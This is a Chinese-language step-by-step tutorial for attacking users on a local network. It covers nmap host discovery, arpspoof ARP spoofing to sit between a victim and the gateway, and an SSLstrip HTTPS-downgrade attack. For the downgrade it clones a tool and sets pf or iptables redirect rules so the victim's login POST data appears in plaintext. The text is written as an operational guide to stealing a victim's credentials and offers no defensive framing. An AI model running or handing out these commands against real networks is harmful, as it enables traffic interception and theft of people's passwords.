简介
本文将介绍在局域网内,如何监听受害者流量并通过 SSLstrip 攻击获取敏感信息,分为如下两步:
- 中间人攻击,监听受害者流量
- SSLStrip 攻击, 获取敏感信息
中间人攻击
中间人攻击(man-in-the-middle),就是攻击者扮演中间人进行攻击,可以劫持一段会话,窃取凭证和其他机密信息。
ARP (地址解析协议)
ARP 协议负责通过 IP 地址找到 MAC 地址(物理地址 ),在以太网中,是利用 MAC 地址来通讯的。
ARP协议是这样工作的:如主机B需要给主机A(IP为192.168.1.100)发送数据,为了知道谁是主机A,首先主机B发送一个广播包给网内所有机器“谁是192.168.1.10”,正常情况其他机器忽略该消息,仅主机A回复“我是192.168.1.10”,于是通信就可以开始。所有的主机维护他们自己的ARP缓存表,所以不会每一次都发送广播,ARP表中包含IP对应的MAC地址。
攻击准备
mac 下准备
- 安装 macports 官网
- 更新 macports
sudo port -d selfupdate
- 安装 dsniff(包含 arp 攻击的工具)
sudo port install dsniff
- 安装 nmap
brew install nmap
(如果没有安装 Homebrew,可以去 Homebrew 官网
linux 下准备
- 安装 dsniff
sudo apt-get install dsniff
- 安装 nmap
sudo apt-get install nmap
攻击步骤
一、寻找目标
使用nmap命令扫描局域网,获得主机列表
如果所在局域网路由器地址是 192.168.16.1,可以使用 nmap -sP 192.168.16.1/24
扫描
-sP 表示使用 ping 方式扫描,192.168.16.1/24”表示扫描"192.168.16.1-192.168.16.254"这个网段的所有机器。
二、开启 IP 转发
ARP欺骗一般目的是把自己伪装成网关,但如果不作处理,当被欺骗数据包到达后就会被本机丢弃(因为本机不是网关,不知道如何处理这类数据包),这当然是不允许的。开启IP转发功能可以解决该问题,IP转发负责把该类数据包再转发给真正的网关处理,开启IP转发的方法
mac 下:
sysctl -w net.inet.ip.forwarding=1
linux 下:
echo1 >/proc/sys/net/ipv4/ip_forward
三、ARP 欺骗
假设被攻击的 IP 是 192.168.16.134,局域网的网关是 192.168.16.1,攻击电脑使用的网卡接口是 en0(可以使用 ifconfig
命令查看), 则欺骗命令如下:
arpspoof -i en0 -t 192.168.16.134 192.168.16.1
四、分析数据
如果 ARP 欺骗成功,则被攻击的设备会把所有数据先传到我们电脑上,接下来可以使用 wireshark 软件来分析数据。
至此,中间人攻击完成,接下来可以开始进行 SSLstrip 攻击。
SSLStrip 攻击
SSLstrip 也叫 https 降级攻击,攻击者拦截用户流量后,欺骗用户与攻击者进行 http 通信,攻击者与服务器保持正常通信 (http 或 https),从而获取用户信息。
攻击原理
- 通过中间人攻击监听 http 流量(自己试验可以通过设置 http 代理)
- 更改重定向链接中的 location,替换 https 为 http,并记录
- 更改响应内容中的超链接,替换 https 为 http,并记录
- 与用户进行 http 通信,与服务器进行 https 通信(记录中本应是 https 的请求),从而明文获取用户信息
攻击准备
- 监听 http 流量
- 获取攻击代码
git clone git@github.com:zsky/sslstrip.git
- 安装 nodeJs
攻击步骤
一、运行程序
命令行进入 sslstrip 程序的根目录,输入命令 node index.js
可以看到程序监听的端口号,比如 8080
二、把流量导入到 sslstrip 程序
mac 下 (修改 mac 的packet filter):
在 /etc/pf.anchors 目录下新建文件 http,内容如下
rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080
其中最后面的端口号(比如上面的 8080)就是 ssltrip 程序监听的端口号-
修改 /etc/pf.conf 文件,在适当的位置加入
rdr-anchor "http-forwarding"
和load anchor "http-forwarding" from "/etc/pf.anchors/http"
两行命令.比如 /etc/pf.conf 修改后可能是这样:
# # com.apple anchor point # scrub-anchor "com.apple/*" nat-anchor "com.apple/*" rdr-anchor "com.apple/*" rdr-anchor "http-forwarding" dummynet-anchor "com.apple/*" anchor "com.apple/*" load anchor "com.apple" from "/etc/pf.anchors/com.apple" load anchor "http-forwarding" from "/etc/pf.anchors/http"
重启 packet filter,依次输入命令
sudo pfctl -ef /etc/pf.conf
和sudo pfctl -E
linux 下(修改 ip 转发表):
输入命令: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
其中最后面的端口号(比如上面的 8080)就是 sslstrip 程序监听的端口号
如果攻击完成后要删除这条记录可以输入命令 iptables -t nat -D PREROUTING 1
查看 ip 转发表: iptables -t nat -L
三、观察 sslstrip 程序控制台
此时监听的数据会通过 sslstrip 程序,程序默认会把本应是 https 的post 请求(比如登录之类的请求)的数据体打印到控制台